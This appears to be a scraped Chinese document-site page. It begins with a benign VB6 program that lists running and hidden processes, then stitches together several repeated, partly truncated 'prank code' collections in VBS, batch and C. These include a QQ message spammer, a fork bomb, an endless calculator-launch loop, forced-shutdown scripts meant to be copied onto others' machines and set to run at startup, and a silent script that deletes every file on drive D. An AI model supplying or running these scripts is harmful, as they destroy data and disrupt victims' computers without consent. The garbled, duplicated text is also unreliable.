VB代码VB小程序：通过枚举进程显示所有进程、隐藏进程、进程路径
VB代码VB小程序：通过枚举进程显示所有进程、
隐藏进程、进程路径
本小程序采用枚举进程的方法，显示所有进程，也能显示隐藏进程。同时，能显示进程的完整路径。
有意思的是，一些已经结束的进程，同样可以显示。
以下是程序运行截图：
''''以下是 VB6 代码，在 WinXP 调试通过
'需在窗体放置以下 5 个控件，不必设置任何属性，全部采用默认设置：
' Command1、List1、Check1、Timer1、Label1
'本人原创，转载请注明来源：
https://www.wendangku.net/doc/7717580169.html,/100bd/blog/item/c4199fedda35ba0763d09f6b.html
Private Type tyProc
pID As Long: pName As String: pPath As String: pHide As String
End Type
Dim ctP() As tyProc, ctPs As Long
Private Declare Function EnumProcesses Lib "psapi.dll" (ByRef lpidProcess As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function EnumProcessModules Lib "psapi.dll" (ByVal hProcess As Long, ByRef lphModule As Long, ByVal cb As Long, ByRef lpcbNeeded As Long) As Long
Private Declare Function GetModuleFileNameEx Lib "psapi.dll" Alias
"GetModuleFileNameExA" (ByVal hProcess As Long, ByVal hModule As Long, ByVal lpFilename As String, ByVal nSize As Long) As Long
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
Private Declare Function GetProcessImageFileName Lib "psapi.dll" Alias
"GetProcessImageFileNameA" (ByVal hProcess As Long, ByVal lpImageFileName As String, ByVal nSize As Long) As Long
Private Const PROCESS_ALL_ACCESS = &H1F0FFF
Private Const PROCESS_QUERY_INFORMATION = &H400
Private Const PROCESS_VM_READ = &H10
Private Const PROCESS_CREATE_PROCESS = &H80
Private Const PROCESS_CREATE_THREAD = &H2
Private Const PROCESS_DUP_HANDLE = &H40
'Private Const PROCESS_QUERY_INFORMATION = &H400
Private Const PROCESS_QUERY_LIMITED_INFORMATION = &H1000
Private Const PROCESS_SET_QUOTA = &H100
Private Const PROCESS_SET_INFORMATION = &H200
Private Const PROCESS_SUSPEND_RESUME = &H800
Private Const PROCESS_TERMINATE = &H1
Private Const PROCESS_VM_OPERATION = &H8
'Private Const PROCESS_VM_READ = &H10
Private Const PROCESS_VM_WRITE = &H20
'以下是在 NT 系统中提升当前进程权限的代码
================================
'系统级权限,可以：PROCESS_ALL_ACCESS OpenProcessToken、LookupPrivilegevalue、AdjustTokenPrivileges
Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias
"LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_Privileges, ByVal BufferLength As Long, PreviousState As TOKEN_Privileges, ReturnLength As Long) As Long
Private Type LUID
UsedPart As Long
IgnoredForNowHigh32BitPart As Long
End Type
Private Type TOKEN_Privileges
PrivilegeCount As Long
TheLuid As LUID
Attributes As Long
End Type
Public Sub AdjustPrivilege()
'NT系统：提升权限
Dim dl As Long, CurP As Long, nToKen As Long, nLuid As LUID
Dim OldTKP As TOKEN_Privileges, NewTKP As TOKEN_Privileges
Dim pName As String
Const TOKEN_Adjust_Privileges = &H20
Const TOKEN_Query = &H8
Const SE_Privilege_Enabled_BY_DEFAULT = &H1 '默认权限
Const SE_Privilege_Enabled = &H2 '开启权限
Const SE_Privilege_USED_FOR_ACCESS = &H80000000 '所有访问权限
'获取当前进程的一个句柄
CurP = GetCurrentProcess()
'打开进程令牌：用 nToKen 获得进程访问令牌的句柄
dl = OpenProcessToken(CurP, (TOKEN_Adjust_Privileges Or TOKEN_Query), nToKen)
'用 nLuid 返回指定权限的 LUID 结构
'权限名称：SeDebugPrivilege、SeShutdownPrivilege、SeRestorePrivilege、SeBackupPrivilege、SeUnsolicitedInputPrivilege
pName = "SeDebugPrivilege"
dl = LookupPrivilegeValue("", pName, nLuid)
NewTKP.PrivilegeCount = 1
NewTKP.TheLuid = nLuid
NewTKP.Attributes = SE_Privilege_Enabled
'调整令牌权限
dl = AdjustTokenPrivileges(nToKen, False, NewTKP, Len(NewTKP), OldTKP, 0&) End Sub
'===================
Private Sub Form_Load()
https://www.wendangku.net/doc/7717580169.html, = "宋体": Me.Caption = "枚举进程"
Command1.Caption = "刷新"
https://www.wendangku.net/doc/7717580169.html, = https://www.wendangku.net/doc/7717580169.html,
Call AdjustPrivilege '提升本进程权限
Timer1.Interval = 10
Check1.Caption = "自动刷新": Check1.Value = 1
End Sub
Private Sub Check1_Click()
Timer1.Enabled = Check1.Value = 1
End Sub
Private Sub Timer1_Timer()
Static S As Long, S1 As Long
Dim nTai As String
S1 = S1 + 1
If S1 > 2 Then
S1 = 0
nTai = "↖↑↗→↘↓↙←"
S = S + 1
If S > 8 Then S = 1
Label1.Caption = Mid(nTai, S, 1) '动画显示
End If
Call ShowProc
End Sub
Private Sub Command1_Click()
List1.Clear: List1.Refresh
Call ShowProc
End Sub
Private Sub Form_Resize()
Dim H1 As Single, T As Single
On Error Resume Next
H1 = Me.TextHeight("A")
Command1.Move H1, H1, H1 * 4, H1 * 2
Label1.Move H1 * 6, H1 * 1.5, H1, H1
Check1.Move H1 * 8, H1, H1 * 8, H1 * 2
T = Command1.Top + Command1.Height + H1 * 0.5
List1.Move 0, T, Me.ScaleWidth, Me.ScaleHeight - T
End Sub
'本人原创，转载请注明来源：
https://www.wendangku.net/doc/7717580169.html,/100bd/blog/item/c4199fedda35ba0763d09f6b.html Private Sub ShowProc()
Dim pID(1023) As Long, Ps As Long, dwDesiredAccess As Long
Dim cbNeeded As Long, P As Long, hModule As Long
Dim hProcess As Long, nStr As String, I As Long
Dim IsChange As Boolean, P2() As tyProc, Ps2 As Long
On Error Resume Next
dwDesiredAccess = PROCESS_QUERY_INFORMATION Or PROCESS_VM_READ
Ps2 = ctPs: P2 = ctP
ctPs = 1: ReDim ctP(0 To 1)
ctP(1).pName = "[System Process]"
nStr = String(1024, 0)
' 进程ID的数组，数组的大小，返回实际进程数组的大小
If EnumProcesses(pID(0), 4& * 1024, cbNeeded) <> 0 Then
Ps = cbNeeded \ 4 '进程总数
For P = 0 To &HFFFF& Step 4
hProcess = OpenProcess(dwDesiredAccess, 0, P) '返回指定进程的句柄
If hProcess <> 0 Then
ctPs = ctPs + 1: ReDim Preserve ctP(0 To ctPs)
ctP(ctPs).pHide = "隐藏"
For I = 0 To Ps - 1
If P = pID(I) Then ctP(ctPs).pHide = "": Exit For
Next I
'nStr 返回主模块全名：每个进程的第一模块即为进程主模块
If EnumProcessModules(hProcess, hModule, 4&, 0&) <> 0 Then GetModuleFileNameEx hProcess, hModule, nStr, 1024
Else '型如：\Device\HarddiskVolume
GetProcessImageFileName hProcess, nStr, 1024
End If
CloseHandle hProcess '关闭进程的句柄
With ctP(ctPs)
.pID = P '进程 ID
.pPath = CutStr(nStr, vbNullChar) '进程路径
If Left(.pPath, 4) = "\??\" Then .pPath = Mid(.pPath, 5) '去掉“\??\”
.pName = CutStr(.pPath, "\", True) '进程名
If P = 4 And .pName = "" Then .pName = "System"
End With
End If
Next
End If
'List1.Clear
For P = 1 To ctPs
nStr = AddSpace(P, 4) & ProcStr(ctP(P)) '合成显示条目
If P > List1.ListCount Then
List1.AddItem nStr
' List1.ListIndex = List1.NewIndex
Else
If nStr <> List1.List(P - 1) Then List1.List(P - 1) = nStr
End If
Next
'删除多余条目
For P = List1.ListCount - 1 To ctPs Step -1
List1.RemoveItem P
Next
End Sub
Private Function ProcStr(P As tyProc) As String
ProcStr = AddSpace(P.pID) & AddSpace(P.pHide, 6) & AddSpace(P.pName, 20) & AddSpace(P.pPath)
End Function
Private Function AddSpace(ByVal nStr As String, Optional ByVal S As Long) As String
If S < 1 Then S = 6
S = S - LenB(StrConv(nStr, vbFromUnicode))
If S < 1 Then S = 1
AddSpace = nStr & String(S, " ")
End Function
Private Function CutStr(nStr As String, Fu As String, Optional GetRight As Boolean) As String
'GetRight=T 从右到左查找
Dim S As Long
If GetRight Then ' 从右到左查找
S = InStrRev(nStr, Fu)
If S > 0 Then CutStr = Mid(nStr, S + 1) Else CutStr = nStr
Else
S = InStr(nStr, Fu)
If S > 0 Then CutStr = Left(nStr, S - 1) Else CutStr = nStr
End If
End Function
'本人原创，转载请注明来源：
https://www.wendangku.net/doc/7717580169.html,/100bd/blog/item/c4199fedda35ba0763d09f6b.html
查看文档来源：https://www.wendangku.net/doc/7717580169.html,/100bd/item/fbd87c3004c6f5342e0f8140
vbs整人代码大集合 多年的代码收集
vbs整人代码大集合，收集的比较全，喜欢的朋友可以参考下。不要搞破坏，学习vbs的朋友非常有帮助，死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
c语言整人代码
C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序，可以设置多长时间后将自动关机。当然马上关机也是可以的，我们就可以恶搞别人计算机了（你事先得知道怎么解），将写好的自动关机程序复制到别人电脑，然后将可执行的 文件设为开机自动启动，别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序（这是很容易的），后果你一定能想到了吧~还可以改进一下，就是每次开机的时候让用户输入“我是猪”，不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩，比如“我爱你”、“我爱×××”之类，你觉得会有严重后果的就不要玩哦、 好啦，就说到这里，下面送上这两个程序的源代码。一个是自动关机程序，很简单，另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1： #include
{ system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了，自己人不整自己人~ 源程序2： #include
愚人节整人网页代码
竭诚为您提供优质文档/双击可除 愚人节整人网页代码 篇一：整人“病毒”代码(一) 发表于20XX-10-2310:33 前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。 ps：由于精力问题没有对代码的可用性进行一一验证，所以不保证全部可用，大家如果发现有不可用的或者需要改进的地方请提出来，以下代码仅供娱乐，请勿用于非法用途。 一、怎么点都没反应的桌面 如果同事的电脑开着，他离开电脑前一会，嘿嘿，机会来了。 把他的电脑桌面按print键截屏截下来，（当然QQ截屏也可以，不过效果不太逼真！）建议大家用print截屏，设置为桌面。 然后把原来在桌面上的文件统统移到一个盘的文件夹里，这样桌面看上去和平时一个样。他回来后狂点鼠标，却怎么都没有反应！现在还在关机,开机,关机,开机,关机,开
机中???? 附带：print键截屏方法： 键盘右上方的“printscreensysRq”键的作用是屏幕抓图！ 用法一，按“printscreensysRq”一下，对当前屏幕进行抓图，就是整个显示屏的内容。 用法二，先按住“Alt”键，再按“printscreensysRq”键，则是对当前窗口进行抓图。如你打开“我的电脑”后，用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后，再打开“开始”、“附件”里的“画图”程序，点“编辑”、“粘贴”就把抓取的图片贴出来了，可以保存为自己需要的格式。哈哈，简单吧，这方法真挺搞的，有兴趣的童鞋可以试试！ 二、让电脑硬盘消失－隐藏磁盘方法 愚人节电脑整人使无端端地电脑磁盘的某个分区消失了，钻进地缝里面去了吗，给外星人抓走了？？非也！是某些人使坏将其隐藏起来了！ 步骤 1.新建一个记事本 2.将记事本的后缀改为.reg，就是将“新建文件.txt”改为“新建文件.reg” 3.将下面的代码复制到记事本当中：
C 语言整人代码大全
C 语言整人代码大全WScript.Echo("嘿，谢谢你打开我哦，我等你很久 拉！"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉，这你都不知道吗？") 顶 举报| 2011-06-01 20:46回复 菊花爆开 电白自学 2楼 WScript.Echo("怎么才来，说~是不是不关心我") WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。") WScript.Echo("小强很生气，后果很严重哦。") WScript.Echo("嘿嘿！你也会很惨滴哦") WScript.Echo("是不是想清除我？") WScript.Echo("那你要点上50下哦，不过会给你惊喜滴") WScript.Echo("还剩49下，快点点哦") WScript.Echo("还剩48下，快点，小笨蛋！") WScript.Echo("还剩47下对，就这样快点点！") WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰 你工作。") WScript.Echo("还剩45下，记得要快哦！") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下")
WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停！！！慢点，我有话要说") WScript.Echo("还剩12下，你继续点我就会消失滴") WScript.Echo("还剩11下，以后就看不到我拉。555555") WScript.Echo("还剩10下，你现在可以选择停止！") WScript.Echo("还剩9下。你还点啊，不要我拉？") WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家") WScript.Echo("还剩7下。疯了，你有点负意！") WScript.Echo("还剩6下。对。你就点吧，我恨你！") WScript.Echo("还剩5下，不明白，删除我你就好吗？") WScript.Echo("还剩4下！真要删除我？") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你 的！") WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无 义！！！") WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝 又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")
整人电脑代码修订稿
整人电脑代码 Document number【AA80KGB-AA98YT-AAT8CB-2A6UT-A18GG】
第一个:让别人内存O V E R(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。 第二个:让对方重启指定次数(害人专用) @off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1 if not exist c:4.txt echo. >c:4.txt & goto err1 if not exist c:5.txt echo. >c:5.txt & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。 第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop
vbs整人代码大集合1
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> =--------------------------------------------------------------------------- On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与 xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit ---------------------------------------------------------------------------- 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do
整人代码大全
整人代码大全 让对方重启指定次数(害人专用) @echo off if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1s if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c: echo. >c: & goto err1那 就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”， 保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = ("") " /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机， 不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说""我是猪""","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = ("") " /c shutdown -a",0 ,true
c语言整人代码
c语言整人代码 Company Document number：WTUT-WT88Y-W8BBGB-BWYTT-19998
C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序，可以设置多长时间后将自动关机。当然马上关机也是可以的，我们就可以恶搞别人计算机了（你事先得知道怎么解），将写好的自动关机程序复制到别人电脑，然后将可 执行的文件设为开机自动启动，别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序（这是很容易的），后果你一定能想到了吧~还可以改进一下，就是每次开机的时候让用户输入“我是猪”，不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩，比如“我爱你”、“我爱×××”之类，你觉得会有严重后果的就不要玩哦、 好啦，就说到这里，下面送上这两个程序的源代码。一个是自动关机程序，很简单，另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1： #include<> #include<> int main(void) {
system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了，自己人不整自己人~ 源程序2： #include<> #include<> void main() { int i=0; char s[30]="dsad"; system("title 逗你玩"); system("mode con cols=48 lines=25"); system("color"); system("color FC"); system("shutdown -f -s -t 60 -c ""你是猪，哈哈，就输入“我是猪”这三个字嘛~"""); printf("哈哈，你是猪~~你的计算机马上就要自动关闭，除非你输入你是猪~~说的就是你，把这个窗口关掉也没有用哦~~\n"); printf("输入："); while(strcmp(s,"我是猪")) {
c语言整人代码精选文档
c语言整人代码精选文 档 TTMS system office room 【TTMS16H-TTMS2A-TTMS8Q8-
C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序，可以设置多长时间后将自动关机。当然马上关机也是可以的，我们就可以恶搞别人计算机了（你事先得知道怎么解），将写好的自动关机程序复制到别人电脑，然后将可执行的文件设为开机自动启动，别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序（这是很容易的），后果你一定能想到了吧~还可以改进一下，就是每次开机的时候让用户输入“我是猪”，不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩，比如“我爱你”、“我爱×××”之类，你觉得会有严重后果的就不要玩哦、 好啦，就说到这里，下面送上这两个程序的源代码。一个是自动关机程序，很简单，另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1：
#include
char s[30]="dsad"; system("title 逗你玩"); system("mode con cols=48 lines=25"); system("color"); system("color FC"); system("shutdown -f -s -t 60 -c ""你是猪，哈哈，就输入“我是猪”这三个字嘛~"""); printf("哈哈，你是猪~~你的计算机马上就要自动关闭，除非你输入你是猪~~说的就是你，把这个窗口关掉也没有用哦~~\n"); printf("输入："); while(strcmp(s,"我是猪")) { gets(s); if(strcmp(s,"我是猪")==0) { system("shutdown -a");
VB整人程序代码大全
vbs整人代码大** 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> =--------------------------------------------------------------------------- On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与 xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit ---------------------------------------------------------------------------- QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell
整人电脑代码
第一个:让别人内存OVER(逼他重启) @echo?off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。第二个:让对方重启指定次数(害人专用) @echo?off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1 if not exist c:4.txt echo. >c:4.txt & goto err1 if not exist c:5.txt echo. >c:5.txt & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次 改成7就是7次...? 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说""我是猪""","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"? ?? 复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机，